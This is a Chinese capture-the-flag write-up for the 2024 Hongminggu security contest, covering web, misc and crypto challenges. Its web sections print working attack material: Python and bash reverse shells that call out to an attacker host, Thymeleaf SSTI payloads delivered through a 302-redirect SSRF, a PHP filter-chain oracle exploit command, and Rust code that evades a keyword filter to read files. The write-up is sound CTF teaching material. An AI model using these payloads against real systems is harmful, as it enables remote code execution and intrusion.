您的位置:首页 > 游戏 > 手游 > 2024年数字中国创新第四届红明谷杯网络安全大赛WP

2024年数字中国创新第四届红明谷杯网络安全大赛WP

2024/10/5 21:16:26 来源:https://blog.csdn.net/m0_64910183/article/details/140597571  浏览:    关键词:2024年数字中国创新第四届红明谷杯网络安全大赛WP

WEB

ezphp

题目描述:一支专注于卫星通信技术的研究团队正在努力改进他们的通信系统,以提高数据传输的效率和安全性,团队决定采用PHP 8.3.2来完善通信系统开发。

 考点:php filter chain Oracle

PHP Filter链——基于oracle的文件读取攻击

参考:https://xz.aliyun.com/t/12939?time__1311=mqmhqIx%2BxfOD7DloaGkWepSazHG%3D4D#toc-16

题目给出源码如下

 <?phphighlight_file(__FILE__);// flag.phpif (isset($_POST['f'])) {echo hash_file('md5', $_POST['f']);}?>

image-20240721022130265

这里可以用的项目:https://github.com/synacktiv/php_filter_chains_oracle_exploit/

考点:可用PHP Filter链-基于oracle的文件读取攻击生成exp执行,题目提示php版本号正好满足条件,下载exp进行利用

image-20240721022317838

执行payload,这里可能需要多跑几次才可以

 python3 filters_chain_oracle_exploit.py  --target http://eci-2zea1zzp9231ugqw9htd.cloudeci1.ichunqiu.com/ --file flag.php --parameter f

访问/flag.php?ezphpPhp8,读取生成的源码

image-20240721022347849

image-20240721022524879

 <?phpif (isset($_GET['ezphpPhp8'])) {highlight_file(__FILE__);} else {die("No");}$a = new class {function __construct(){}function getflag(){system('cat /flag');}};unset($a);$a = $_GET['ezphpPhp8'];$f = new $a();$f->getflag();?>

题目提示PHP版本为php 8.3.2,去PHP官网看ChangeLog,直接锁定GH-13097

image-20240721030306000

本地调试,发现这里是可以用匿名类去读取出来flag,构造payload

本地起个容器:

 docker run -itd -p 1238:80 php:8.3.2-apache
 docker exec -it <容器id> /bin/bash

放flag.php,测试代码如下:

 <?phpif (isset($_GET['ezphpPhp8'])) {//    highlight_file(__FILE__);} else {//    die("No");}$anonymous = new class {function __construct(){}function getflag(){system('cat /flag');}};$a = get_class($anonymous);echo urlencode($a);echo "\n";unset($anonymous);//echo get_class($a).': now you see me...';$a = urldecode("class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Fflag.php%3A7%240");$f = new $a();$f->getflag();var_dump($f);//throw new Exception(//    get_class($anonymous).' ...now you don\'t!', //    E_USER_ERROR//);

可以看到能执行getflag方法:

image-20240721030403850

image-20240721022458707

构造exp

 /flag.php?ezphpPhp8=anonymous/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$1/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0

image-20240721022543080

unauth

开局一个登录口

image-20240721022613215

泄露了网站路径/www.zip中有admin的密码:

image-20240721022644892

www.zip泄露源码如下:

 <?phpif (!isset($_SERVER['PHP_AUTH_USER'])) {header('WWW-Authenticate: Basic realm="Restricted Area"');header('HTTP/1.0 401 Unauthorized');echo '小明是运维工程师,最近网站老是出现bug。';exit;} else {$validUser = 'admin';$validPass = '2e525e29e465f45d8d7c56319fe73036';if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {header('WWW-Authenticate: Basic realm="Restricted Area"');header('HTTP/1.0 401 Unauthorized');echo 'Invalid credentials';exit;}}@eval($_GET['cmd']);highlight_file(__FILE__);?>

简单审计一下,可以执行命令但大部分被ban了。

登录后,存在一句话木马,密码为cmd,ban了很多函数,经过测试发现可以用pcntl_exec反弹shell:

//POST传参,反弹shell1=pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("VPS地址",port端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));
最终需要提权,尝试suid未果,发现存在配置文件config.inc.php,其密码是admin用户密码

image-20240721022721413

 
<!--?php# If you are having problems connecting to the MySQL database and all of the variables below are correct# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.#   Thanks to @digininja for the fix.# Database management system to use$DBMS = 'MySQL';#$DBMS = 'PGSQL'; // Currently disabled# Database variables#   WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.#   Please use a database dedicated to DVWA.## If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.#   See README.md for more information on this.$_DVWA = array();$_DVWA[ 'db_server' ]   = '127.0.0.1';$_DVWA[ 'db_database' ] = 'dvwa';$_DVWA[ 'db_user' ]     = 'root';$_DVWA[ 'db_password' ] = 'b90e0086d8b1165403de6974c4167165';# Only used with PostgreSQL/PGSQL database selection.$_DVWA[ 'db_port '] = '5432';# ReCAPTCHA settings#   Used for the 'Insecure CAPTCHA' module#   You'll need to generate your own keys at: https://www.google.com/recaptcha/admin$_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';# Default security level#   Default value for the secuirty level with each session.#   The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.$_DVWA[ 'default_security_level' ] = 'impossible';# Default PHPIDS status#   PHPIDS status with each session.#   The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.$_DVWA[ 'default_phpids_level' ] = 'disabled';# Verbose PHPIDS messages#   Enabling this will show why the WAF blocked the request on the blocked request.#   The default is 'disabled'. You can set this to be either 'true' or 'false'.$_DVWA[ 'default_phpids_verbose' ] = 'false';?-->

发包反弹shell,执行命令来到交互式shell,利用获取到的密码b90e0086d8b1165403de6974c4167165切换admin用户读取flag即可

GET /?cmd=pcntl_exec('/usr/bin/python',['-c',base64_decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEyMy4xMjMuMTIzLjEyMyIsMTIzNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oInNoIik=')]); HTTP/1.0Host: xxx.comPragma: no-cacheCache-Control: no-cacheAuthorization: Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY=Upgrade-Insecure-Requests: 1WWW-Authenticate: Basic realm="Restricted AreaUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ja;q=0.8,vi;q=0.7Cookie: PHPSESSID=Connection: close

image-20240721022743516

playground

rust源码审计题目给出源码如下,这题基本给解烂了

#[macro_use] extern crate rocket;use std::fs;use std::fs::File;use std::io::Write;use std::process::Command;use rand::Rng;#[get("/")]fn index() -> String {fs::read_to_string("main.rs").unwrap_or(String::default())}#[post("/rust_code", data = "<code>")]fn run_rust_code(code: String) -> String{if code.contains("std") {return "Error: std is not allowed".to_string();}//generate a random 5 length file namelet file_name = rand::thread_rng().sample_iter(&rand::distributions::Alphanumeric).take(5).map(char::from).collect::<String>();if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {file.write_all(code.as_bytes());}if let Ok(build_output) = Command::new("rustc").arg(format!("playground/{}.rs",&file_name)).arg("-C").arg("debuginfo=0").arg("-C").arg("opt-level=3").arg("-o").arg(format!("playground/{}",&file_name)).output() {if !build_output.status.success(){fs::remove_file(format!("playground/{}.rs",&file_name));return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();}}fs::remove_file(format!("playground/{}.rs",&file_name));if let Ok(output) = Command::new(format!("playground/{}",&file_name)).output() {if !output.status.success(){fs::remove_file(format!("playground/{}",&file_name));return String::from_utf8_lossy(output.stderr.as_slice()).to_string();} else{fs::remove_file(format!("playground/{}",&file_name));return String::from_utf8_lossy(output.stdout.as_slice()).to_string();}}return String::default();}#[launch]fn rocket() -> _ {let figment = rocket::Config::figment().merge(("address", "0.0.0.0"));rocket::custom(figment).mount("/", routes![index,run_rust_code])}

题目逻辑大致就是去构造rust_code执行rust代码,这里需要不出现std关键字,可执行命令,拷打ai就能出的题,绕过可调用C语言去执行,添加一个write函数()读就行了,附上payload

image-20240721022813766

 extern "C" {// Existing bindings to C library functions for file operationsfn fopen(filename: *const u8, mode: *const u8) -> *mut u8;fn fread(buffer: *mut u8, size: usize, count: usize, stream: *mut u8) -> usize;fn fclose(stream: *mut u8) -> i32;// Bind to the `write` function for writing to a file descriptorfn write(fd: i32, buf: *const u8, count: usize) -> isize;}fn main() {unsafe {// Open the file in read mode ("r")let filename = b"/flag\0";  // C strings require a null-terminatorlet mode = b"r\0";          // Mode "r" for readlet file_ptr = fopen(filename.as_ptr(), mode.as_ptr());if !file_ptr.is_null() {let mut buffer = [0u8; 1024];// Read from the file into the bufferlet bytes_read = fread(buffer.as_mut_ptr(), 1, buffer.len(), file_ptr);if bytes_read > 0 {write(1, buffer.as_ptr(), bytes_read);} else {// Handle the case where nothing was readprintln!("Could not read from file or file was empty.");}// Close the filefclose(file_ptr);} else {// Handle the case where file couldn't be openedprintln!("Could not open the file.");}}}

image-20240721022833314

 POST /rust_code HTTP/1.1Host: xxxCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-TW,zh-CN;q=0.9,zh;q=0.8Content-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 146extern "C" {fn system(s: *const u8) -> i32;}fn main() {unsafe {system(b"cat /flag\0".as_ptr() as *const u8);}}

或者:

 
POST /rust_code HTTP/1.1
Host: eci-2ze7qox8oygjcap3uy31.cloudeci1.ichunqiu.com:8000
Content-Length: 17
Content-Type: application/x-www-form-urlencodedinclude!("/flag")

image-20240721031010852

Simp1escape

Thymeleaf模板注入/Location跳转赛后弄出来了,题目给了一个jar文件,进行反编译分析这一段

image-20240721022920343

302跳转绕过,thymeleaf的SSTI

CurlController.class:

 
package com.example.controller;import com.example.utils.Utils;import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.File;import java.io.FileWriter;import java.io.InputStreamReader;import java.net.HttpURLConnection;import java.net.InetAddress;import java.net.URL;import java.util.concurrent.TimeUnit;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;@RestControllerpublic class CurlController {private static final String RESOURCES_DIRECTORY = "resources";private static final String SAVE_DIRECTORY = "sites";public CurlController() {}@RequestMapping({"/curl"})public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception {if (!url.startsWith("http:") && !url.startsWith("https:")) {System.out.println(url.startsWith("http"));return "No protocol: " + url;} else {URL urlObject = new URL(url);String result = "";String hostname = urlObject.getHost();if (hostname.indexOf("../") != -1) {return "Illegal hostname";} else {InetAddress inetAddress = InetAddress.getByName(hostname);if (Utils.isPrivateIp(inetAddress)) {return "Illegal ip address";} else {try {String savePath = System.getProperty("user.dir") + File.separator + "resources" + File.separator + "sites";File saveDir = new File(savePath);if (!saveDir.exists()) {saveDir.mkdirs();}TimeUnit.SECONDS.sleep(4L);HttpURLConnection connection = (HttpURLConnection)urlObject.openConnection();if (connection instanceof HttpURLConnection) {connection.connect();int statusCode = connection.getResponseCode();if (statusCode == 200) {BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));BufferedWriter writer;String line;for(writer = new BufferedWriter(new FileWriter(savePath + File.separator + hostname + ".html")); (line = reader.readLine()) != null; result = result + line + "\n") {}writer.write(result);reader.close();writer.close();}}return result;} catch (Exception var15) {return var15.toString();}}}}}}

AdminController.class:

 
 package com.example.controller;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.springframework.http.HttpStatus;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;import org.thymeleaf.TemplateEngine;import org.thymeleaf.context.Context;import org.thymeleaf.spring5.SpringTemplateEngine;@Controllerpublic class AdminController {public AdminController() {}@GetMapping({"/getsites"})public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception {String ipAddress = request.getRemoteAddr();if (!ipAddress.equals("127.0.0.1")) {response.setStatus(HttpStatus.FORBIDDEN.value());return "forbidden";} else {Context context = new Context();TemplateEngine engine = new SpringTemplateEngine();String dispaly = engine.process(hostname, context);return dispaly;}}}

漏洞点肯定是AdminController这里,但是限制了本地访问,但可以用 302 跳转绕过。thymeleaf的SSTI可以参考上次rwctf的原题

 https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/#chatterbox%EF%BC%88solved%EF%BC%89

 /curl?url=http://vps:port/exploit.php

exploit.php:<?php header("Location:http://127.0.0.1:8080/getsites?hostname=[[${T(org.thymeleaf.util.ClassLoaderUtils).loadClass('org.apa'+'che.logging.log4j.util.LoaderUtil').newInstanceOf('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser').parseExpression('T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8wLjAuMC4wLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}")').getValue()}]]

或者:

在服务器上跑个Flask,重定向到127.0.0.1:8080

 from flask import Flask, redirect, url_for, render_template, requestapp = Flask(__name__)@app.route('/', methods=['POST', 'GET'])def login():exp = "%3c%61%20%74%68%3a%68%72%65%66%3d%22%24%7b%27%27%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4c%6a%45%75%4d%53%34%78%4c%7a%49%35%4f%54%6b%35%49%44%41%2b%4a%6a%45%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%7d%22%20%74%68%3a%74%69%74%6c%65%3d%27%70%65%70%69%74%6f%27%3e"return redirect(f"http://127.0.0.1:8080/getsites?hostname={exp}");if __name__ == '__main__':app.run(host="0.0.0.0", port=5000)

再利用题目/curl接口ssrf即可:

 /curl?url=http://1.1.1.1:5000/

监听等反弹shell即可:

nc -lvvp 29999

image-20240721031432029

easyescape

设置了ttl=0,并且解析到实际发起请求有4s的间隔。还以为是DNS rebinding,但实测不行,今天看了看确实是两次请求,存在DNS重绑定攻击的可能,但本地还是远程都打不通。利用302跳转可以绕过。[图片] 内网就是个Thymeleaf SSTI,又出网,直接弹shell。

 
Context context = new Context();SpringTemplateEngine engine = new SpringTemplateEngine();return engine.process(hostname, (IContext)context);

image-20240721023937328

hostname填这个:

 [[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(java.lang.Boolean).forName("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(Runtime).getRuntime().exec('calc')").getValue()}]]

Misc

定位签到

题目描述:

 题目内容:BD09 longitude: 117.813707, latitude: 26.381977
 (提交格式:flag{4个中文字})

https://lbsyun.baidu.com/jsdemo/demo/yLngLatLocation.htm

image-20240721024738993

加密流量

Wireshark打开之后可以看到少量的数据包。

img
在第4个和第5个UDP包的Data字段可以看到hex数据。
img
分别hex解密看看结果:
img
img
现在得到如下信息:

HANDSHAKEAES-EBC FF

那么本道题的主旋律肯定是AES-ECB解密,以及在某个环节需要FF出场。接下来就是漫长的脑洞解密,挨个尝试解密数据包的Data字段。最终发现过滤UDP协议后,在第7个数据包和第31个数据包中可以提取出hex数据。

img

 ada796133d9a31fa60df7a80fd81eaf6114e62d593b31a3d9eb9061c446a505698608c1e8a0e002b55272a33268c3752

第31个数据包

 ada796133d9a31fa60df7a80fd81eaf6a8642abc3e1b87b97d5914deaf34a5990de3339105f40d4bca0dc7c82893c8f470d2ce54ec5386a6e7dda6adbe92c7fdbb0f328790f6a2f098084892b2f2554fc6e632da9e00f4791118444dc7f58666f1a568ed25a8a4ef039bc2d92432e514f1a568ed25a8a4ef039bc2d92432e514f1
 ……
 5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de1412332af74da88961b8df9c59ded5de14123c85cd6129c2a98f1c62bcbd45ca9f559

对比可以发现,前32个字符是一致的,分别将数据异或FF之后观察。第7个数据包中前32个字符ada796133d9a31fa60df7a80fd81eaf6异或FF之后的结果是525869ecc265ce059f20857f027e1509,猜测这个大概率是Key。

img
删掉第7个数据包中前32个字符,解密剩下的数据,是一个测试的flag:

 114e62d593b31a3d9eb9061c446a505698608c1e8a0e002b55272a33268c3752

img
再用 525869ecc265ce059f20857f027e1509 作为Key来解密第31个数据包,同样的,要删掉第31个数据包Data字段的前32个字符。
img
综上,可以得到一个ole2文档,接下来可以分析文档宏代码,也可以用 https://github.com/decalage2/oletools 来提取。

 pip3 install oletools
 olevba download.ole2

img
可以得到 6c666b6d713f333f323c383a6b6c6f3e693f3c6f683b396f326c6e683f6f3b3a6e3e6c3d3977 再使用Cyberchef的XOR Brute Force模块来解密,发现再次异或0a即可得到flag:
img

Crypto

CDMA

给出的signal数据存在高斯噪声,先降噪,求平均值即可然后整个算法可以看作是

image-20240721024513860

但是这个也不是正正好就是模2的矩阵乘法,向量内积的时候元素加元素是异或(模2加),但是最后做加法的时候又是单纯求和 不过 0,1的异或算法,和 1,-1的乘法运算可以一一对应

image-20240721024502270

因此上面的运算也可以映射成矩阵乘法,(正负好像得反一下)

于是 S 就可以看作是由 chips 线性变换而来,并且 chips 只有 1 和 -1,于是直接对 S 求一个LLL

得到 chips 后

根据 cdma 的转换后的正交特性

image-20240721024534884

于是我们计算

image-20240721024549087

即可得到

image-20240721024605997

这样子flag就由列向量变成行向量了。不过因为这里使用的 1 和 -1,题目的基是 0 和 1,所以结果并不是32的倍数,不过根据实践结果来看,也不复杂,只有两种可能。

 with open("output.pkl", "rb") as file:signal = pickle.load(file)single_signal_list = []signals = []signals_col = []for i in range(0,len(signal)//1997):single_signal_list = signal[i*1997:(i+1)*1997]single_signal = round((sum(single_signal_list)/1997)*10)signals.append(single_signal)if len(signals) == 32:signals_col.append(signals)signals = [] signals_matrix = matrix(ZZ,signals_col)chips = signals_matrix.LLL()[-11:-1]M_T = chips * signals_matrix.Tfor m in M_T:tag = m[0]flag=''.join(['0' if i == tag else '1' for i in m])print(int.to_bytes(int(flag,2),48))


赛题web源码下载:

链接: https://pan.baidu.com/s/1iaknIj8wHk4FXNSnxnnLKQ 提取码: xd7c

参考地址:

https://mp.weixin.qq.com/s/5fAIqMEOWXQvBbWyCnx5Ag

https://mp.weixin.qq.com/s/QyvhWIylrXVbmlTz5QTZ9w

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com